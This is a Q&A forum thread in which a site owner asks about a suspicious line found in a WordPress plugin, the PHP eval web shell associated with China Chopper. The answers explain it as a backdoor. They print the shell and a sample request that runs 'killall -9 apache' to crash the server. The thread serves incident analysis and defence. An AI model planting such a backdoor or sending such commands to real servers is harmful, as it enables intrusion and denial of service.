Found <?php @eval($_POST['pass']

Question

I found this code in one of my wordpress plugin site. I guess it can be used with malicious intent but what exactly it does and can I find out if it calls some other actions that I should be aware of?

Answer 1

Yes, it is very bad. I can't imagine any situation where this code could exist as the part of a harmless software.

This code essentially allows to run any php code given by the pass get parameter. For example, calling this php as http://yoursite/your.php?pass=system("killall -9 apache"); will shot down your webserver. But it is usable for anything (including overwriting / extending your existing scripts to save the site passwords in a temporary file. And later to get this temporary file back).

It is probably a backdoor, and probably not the only one. Your site needs a deep security check.

Answer 2

This PHP script belongs to China Chopper Hacking Kit.

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html